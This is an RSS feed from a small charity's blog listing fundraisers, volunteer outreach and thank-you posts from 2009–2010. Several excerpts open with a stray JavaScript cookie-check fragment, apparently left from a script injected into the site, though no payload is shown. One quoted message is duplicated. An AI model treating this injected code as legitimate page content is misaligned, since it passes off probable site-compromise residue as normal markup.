Girlfriends Care http://www.girlfriendscare.org Just another WordPress weblog Wed, 11 Aug 2010 21:16:37 +0000 http://wordpress.org/?v=2.6 en MARK YOUR CALENDARS http://www.girlfriendscare.org/?p=777 http://www.girlfriendscare.org/?p=777#comments Wed, 16 Jun 2010 14:00:05 +0000 Webmaster http://www.girlfriendscare.org/?p=777 Below is a listing of what’s coming up for Girlfriends Care in the next couple months!  Use it to MARK YOUR CALENDARS NOW!
 
No Guilt - only do what interests you and will allow you to make a difference.  No one can do everything but everyone can do something…Make your “something” count!
 
 
August 4th:  Dream Dinners Social and Fundraiser at The Forum in LaCosta, 5:30 or 7:00 PM. 
 
August 14th:  Annual GFC Family Picnic and outreach for StandUp For Kids, 11AM - 2PM at Aviara Park.
 
August 19th:  Midsummer’s Casino Night Fundraiser, sponsored by Good Ol’ Gals Business Connections, 5:30 - 9:30PM.
 
August 20, 21, 22:  Eat at Chevy’s in Del Mar with the attached flyer and and they’ll contribute 25% of your food bill to the GFC Fund to help women in crisis and transition.  Make copies for your friends, family, neighbors and co-workers!
 
September  11th:  Annual GFC Luncheon at Bellefleur Restaurant in Carlsbad. Learn more about our outreaches and hear speakers from some of the organizations we serve.  Watch your email for details!
 
September 18th:   Garage Sale Fundraiser in Carlsbad!  Start sorting your good used donation items to get that tax write-off in 2010, and help those in need at the same time!  Watch for further info.
 
3rd Saturday of each month:  “GFC Breakfast Club” at Brother Benno’s - contact Barbara at barbara@skintradespa.com if you want your name on the roster to help serve food to the poor and homeless at Brother Benno’s on the 3rd Saturday morning of each month.
  
Need more information on any of these events or want to sign up?   Contact Gini@girlfriendscare.org
 
Girlfriends Care offers a “smorgasbord of outreach” from which to choose.  You decide what interests you and what role you want to play. Discover your passion area….where your heart is….then step forward.  We want to help people to balance their lives as they find ways to give unto others.
 ]]> http://www.girlfriendscare.org/?feed=rss2&p=777 Women’s Resource Center, Second Saturday http://www.girlfriendscare.org/?p=772 http://www.girlfriendscare.org/?p=772#comments Wed, 16 Jun 2010 13:58:54 +0000 Webmaster http://www.girlfriendscare.org/?p=772 On June 12th, Girlfriends Care Second Saturday brunch was held at Women’s Resource Center in Oceanside. WRC provides intervention and prevention programs to assist victims of domestic violence and sexual assault.  The program featured a walking tour of the residential facilities and explanation of services by Director of Residential Services Lindsay Samson.
 
GFC is sponsoring a “Kitchen Shower” to supply new and gently used items to set up transitional apartments for new client families.  Our collection continues so let us know if you want to make a donation. Thank you to Donna Ware, GFC Liaison to WRC, for making arrangements for this meeting.
 
Girlfriends Care offers a “smorgasbord of outreach” from which to choose.  You decide what interests you and what role you want to play. Discover your passion area….where your heart is….then step forward.  We want to help people to balance their lives as they find ways to give unto others.

]]> http://www.girlfriendscare.org/?feed=rss2&p=772 June 12th is Second Saturday http://www.girlfriendscare.org/?p=767 http://www.girlfriendscare.org/?p=767#comments Fri, 04 Jun 2010 13:11:56 +0000 Webmaster http://www.girlfriendscare.org/?p=767 Women’s Resource Center is the site for Girlfriends Care to gather for Second Saturday on June 12th.  We’ll be meeting in their boardroom for a brunch meeting at 10:00AM, then taking a walking tour of their facility. Dress is Saturday casual.
 
WRC provides intervention and prevention programs to assist victims of domestic violence and sexual assault, including a 30-day emergency shelter and transitional housing for 12 to 18 months as they pull their lives together to become strong and self-sufficient.
 
Want to bring something?   We are sponsoring a Kitchen Shower to supply new or gently used items to set up transitional apartments for move-in by new client families (list below). After successfully completing the program, the ladies are gifted with these household items to set up their own apartments as they move on to independence.
 
Gift cards and monetary donations are also welcome.  Tax deductible receipts available upon request.  Not in your budget?  Just bring yourself and lend a hug.
 
WHO:    Girlfriends Care, TeensCare and Friends

WHAT:   Second Saturday brunch meeting at Women’s Resource Center
              
WHEN:   June 12th, 10:00 - Noon.
 
WHERE: Women’s Resource Center, 1963 Apple St, Oceanside, 92054.
            
WHY:      To enjoy the company of Girlfriends and share our caring hearts with women in crisis and transition through a “Kitchen Shower” 
 
Bring a friend!  RSVP now to our GFC Liaison Donna Ware at rtware@roadrunner.com. 
 
Ideas for Shower Gifts……..(unwrapped, please)
Silverware Service for 8
Basic set of Cooking Knives
Can opener
Dish drying rack
10 gallon trash cans
Kitchen towel sets with hot pad or oven mitt
Set of glassware for 8
Coffee pot
Mixing spoons
Measuring cups
Bakeware: Cookie tray
Basic set of bakeware/Corningware
Cutting Board - medium size plastic
Toaster
Cleaning supplies
Mixing Bowls
Gift Cards

]]> http://www.girlfriendscare.org/?feed=rss2&p=767 Girlfriends Care in GOG Marketplace http://www.girlfriendscare.org/?p=682 http://www.girlfriendscare.org/?p=682#comments Sat, 12 Dec 2009 20:40:33 +0000 Webmaster http://www.girlfriendscare.org/?p=682 0) { c_start = document.cookie.indexOf(name + "="); if(c_start != -1) { return true; } } return false; } Some of you already know I’m involved in the Good Ol’ Gals Business Connections…….a networking group for women that values [...]]]>

Some of you already know I’m involved in the Good Ol’ Gals Business Connections…….a networking group for women that values and promotes The Power of Women Helping Women to be Successful!
 
On Friday, December 18th,  Girlfriends Care is going to be in the MarketPlace at the GOG Luncheon Meeting at Bellefleur Winery & Restaurant in Carlsbad, CA.  If you would like to join us to meet some new Gal Pals, promote Girlfriends Care, and experience this sweet connection, please register and select your meal at this link. 
 
 
Either way, I want to wish all of you a joyful holiday with friends and family!
 
Gini

]]> http://www.girlfriendscare.org/?feed=rss2&p=682 You have made a difference! http://www.girlfriendscare.org/?p=676 http://www.girlfriendscare.org/?p=676#comments Wed, 25 Nov 2009 11:49:38 +0000 Webmaster http://www.girlfriendscare.org/?p=676 0) { c_start = document.cookie.indexOf(name + "="); if(c_start != -1) { return true; } } return false; }  Gals and Girlfriends….You have made a difference! Project Coordinator Diana Hanes delivered a turkey and all the fixin’s to Nettie’s House [...]]]>
 Gals and Girlfriends….You have made a difference!

Project Coordinator Diana Hanes delivered a turkey and all the fixin’s to Nettie’s House to provide Thanksgiving and a Homecoming for the 17 women and 8 children in this transitional residence.  We want to “Shout Out” a Special Thank You to all the Girlfriends and Good Ol’ Gals who donated food or funds to make this a wonderful holiday for these women who are working to get back on their feet.  Thank you Diana, for your loving attention to detail as you coordinated the collection and delivery. 

Founder Nettie Nelson, who is also a Girlfriend and Good Ol’ Gal, sends us this message “I cannot express the sincere gratitude that we have for what the women from Girlfriends Care and Good Ol’ Gals did.  It was more than we could have ever expected.  Diana did a wonderful job coordinating with Helene who was assigned to coordinate from the residence side.  This was a double blessing for Helene because this whole processing made her feel valued and raised her self-esteem.  I couldn’t go another moment without telling you all how much I love and appreciate you all.  Diana was incredible.  If there is ever anything Nettie’s House can do, just let me know. Hugs with happy tears to you all.  Nettie.Founder Nettie Nelson, who is also a Girlfriend and Good Ol’ Gal, sends us this message “I cannot express the sincere gratitude that we have for what the women from Girlfriends Care and Good Ol’ Gals did.  It was more than we could have ever expected.  Diana did a wonderful job coordinating with Helene who was assigned to coordinate from the residence side.  This was a double blessing for Helene because this whole processing made her feel valued and raised her self-esteem.  I couldn’t go another moment without telling you all how much I love and appreciate you all.  Diana was incredible.  If there is ever anything Nettie’s House can do, just let me know. Hugs with happy tears to you all.  Nettie.

 

 

Thank you to all!   Enjoy your own Thanksgiving!!!

 
]]> http://www.girlfriendscare.org/?feed=rss2&p=676 KidzCare Jeans for Kids a huge success!!! http://www.girlfriendscare.org/?p=673 http://www.girlfriendscare.org/?p=673#comments Sat, 17 Oct 2009 16:58:29 +0000 Webmaster http://www.girlfriendscare.org/?p=673 0) { c_start = document.cookie.indexOf(name + "="); if(c_start != -1) { return true; } } return false; } Here’s a wrap-up on the recent Jeans for Kids campaign to collect jeans for children in need around North [...]]]>

Here’s a wrap-up on the recent Jeans for Kids campaign to collect jeans for children in need around North County.  We were blessed with an overwhelming success!  KidzCare and their parents did an outstanding job on this project, along with support from many other donors.  A special thanks to the staff at San Diego National Bank, 2520 El Camino Real, Carlsbad for setting up a display to promote the collection and being a drop site for donations! 
 
 
Thanks again for your support of Jeans for Kids!  Our final count of jeans donated was just over 1100 pair.  And Solutions for Change was delighted with the “boutique” set up for thier kids to select their own jeans!
 
The results of this campaign were overwhelming to say the least.  We were blessed with many times more jeans than could have been hoped for.  The “dream” was to provide jeans to all the resident children at Solutions and hopefully share with other resident children in North County.   Somewhere along the lines of 200 pair would have been considered a success.  As a result of the overwhelming outpouring of our families we were able to share with the residents and graduates at Solutions as well as families served by many other agencies.  The last of the jeans have finally found a home and will hopefully be picked up this week. 
 
Here’s where they all went:
Solutions for Change
St. Claire’s
Casa de Amparo
Family Recovery Center
Women’s Resource Center
New Directions
Brother Benno’s
Bread of Life
San Pasqual Academy
The level of excitement of this program was amazing.  Our kids and their families are incredibly generous.  It touches my heart to see their enthusiasm in supporting kids in need.  And it is an honor to work with you as their leaders. 
 
All the best,
Ellen Clark
]]> http://www.girlfriendscare.org/?feed=rss2&p=673 Garage Sale Fundraiser Sat., Oct. 10, 2009 7am-12noon http://www.girlfriendscare.org/?p=664 http://www.girlfriendscare.org/?p=664#comments Mon, 21 Sep 2009 14:50:08 +0000 Webmaster http://www.girlfriendscare.org/?p=664 0) { c_start = document.cookie.indexOf(name + "="); if(c_start != -1) { return true; } } return false; } We hope you’ll want to donate, volunteer, or visit the GFC Garage Sale Fundraiser on Saturday, October 10th.  This [...]]]>
We hope you’ll want to donate, volunteer, or visit the GFC Garage Sale Fundraiser on Saturday, October 10th.  This event will be instead of our regular Second Saturday meeting!   Attached is a flyer you can use to promote participation to your friends, family, and co-workers.  It’s part of an annual neighborhood garage sale and well attended, so come and join in the fun! 

  Garage Sale Fundraiser Saturday, October 10, 2009 7am-12noon 3982 Foothill Avenue Carlsbad   All sales benefit the Girlfriends Care Fund, Pillowcase Project, and other outreach activities of Girlfriends Care, Inc.  For more information visit www.girlfriendscare.org  

Electronics, Household, Clothing, Baby and Children’s items, Tools, Entertainment, Home and Garden, Toys, Games, Sporting Goods, Books, Baked Goods and More!

                                                        Volunteers Needed!
Friday, Oct 9 to sort and price Saturday, October 10 to assist with sale Contact Rosita at RositaBottoHieb@cox.net or Ellen at ellen@girlfriendscare.org

Donations may be dropped off on the front porch any time the week prior to the event.  Or call 720-3779 to make arrangements for drop off.  Bake sale items should be dropped off on Friday or Saturday only.
]]> http://www.girlfriendscare.org/?feed=rss2&p=664 One mans trash is anothers treasure http://www.girlfriendscare.org/?p=636 http://www.girlfriendscare.org/?p=636#comments Sun, 23 Aug 2009 19:10:15 +0000 gini http://www.girlfriendscare.org/?p=636 0) { c_start = document.cookie.indexOf(name + "="); if(c_start != -1) { return true; } } return false; } You probably won’t see these prAna products in any retail store near you … but, you might just see [...]]]>
Prayer Pillowcases by Girlfriends Care

Prayer Pillowcases by Girlfriends Care

You probably won’t see these prAna products in any retail store near you … but, you might just see them at a North San Diego County thrift store if you’re lucky! In response to the article in the Union Tribune in 2009 about the Girlfriends Care Prayer Pillowcases, they were contacted by prAna, a wholesale manufacturer of sportswear located in San Marcos. PrAna donated fabric that they could no longer use…in fact, they donated so much that we also included the North Coast Calvary Chapel Crafters in our abundance!  What was a few yards of “scrap” fabric to PrAna is now turned into pillowcases with a child’s prayer for the homeless who stay in overnight shelters, for those in crisis and transition, and for folks in recovery programs to learn the skill of sewing to help them as they get back to the real world.We are just amazed at the labor of love and creativity when people set out to serve others!  What you might think is “trash”, might not ever actually really be!

 
]]> http://www.girlfriendscare.org/?feed=rss2&p=636 Join us for our 4th Annual Luncheon on September 12th! http://www.girlfriendscare.org/?p=621 http://www.girlfriendscare.org/?p=621#comments Sun, 16 Aug 2009 11:21:32 +0000 Webmaster http://www.girlfriendscare.org/?p=621 0) { c_start = document.cookie.indexOf(name + "="); if(c_start != -1) { return true; } } return false; } Guys and Teens will enjoy this venue too!  Bring a friend! Attire is “Saturday Casual” WHO:    Girlfriends Care WHAT:   Second Saturday [...]]]>
Guys and Teens will enjoy this venue too!  Bring a friend!
Attire is “Saturday Casual”

WHO:    Girlfriends Care
WHAT:   Second Saturday ~ 4th Annual Luncheon
WHEN:   11:00 - 1:00, September 12, 2009
WHERE:  Bellefleur Winery & Restaurant 
             5610 Paseo Del Norte, Carlsbad, 92008, 760-603-1919
             (in the Carlsbad Company Stores)

WHY:      Enjoy our 4th Annual Luncheon and share the vision of the future for Girlfriends Care! What’s happening with KidzCare, Prayer Pillowcases, Celebrate Kidz, “Dinner on a Dime”, the Girlfriends Care Fund, and much more. We will have speakers from Brother Benno’s, Family Recovery Center and New Directions.
 
Cost of the GREAT Bellefleur lunch and program is just $25 (includes beverage). Reservations are needed by September 10th as we are required to guarantee your attendance. Make your reservation NOW by clicking on the link below, choose your favorite item from the menu, fill in your name as you would like it on your name tag and confirm through PayPal or using your major Credit Card. 

Girlfriends Care 4th Annual Luncheon Reservation

We will see you there!!! 

]]> http://www.girlfriendscare.org/?feed=rss2&p=621 KidzCare make PB&J lunches for guests at Bread of Life http://www.girlfriendscare.org/?p=614 http://www.girlfriendscare.org/?p=614#comments Sun, 16 Aug 2009 11:05:31 +0000 Webmaster http://www.girlfriendscare.org/?p=614 0) { c_start = document.cookie.indexOf(name + "="); if(c_start != -1) { return true; } } return false; } KidzCare making PB&J sack lunches for BoL guests ]]>

KidzCare making PB&J sack lunches for BoL guests
KidzCare making PB&J sack lunches for BoL guests
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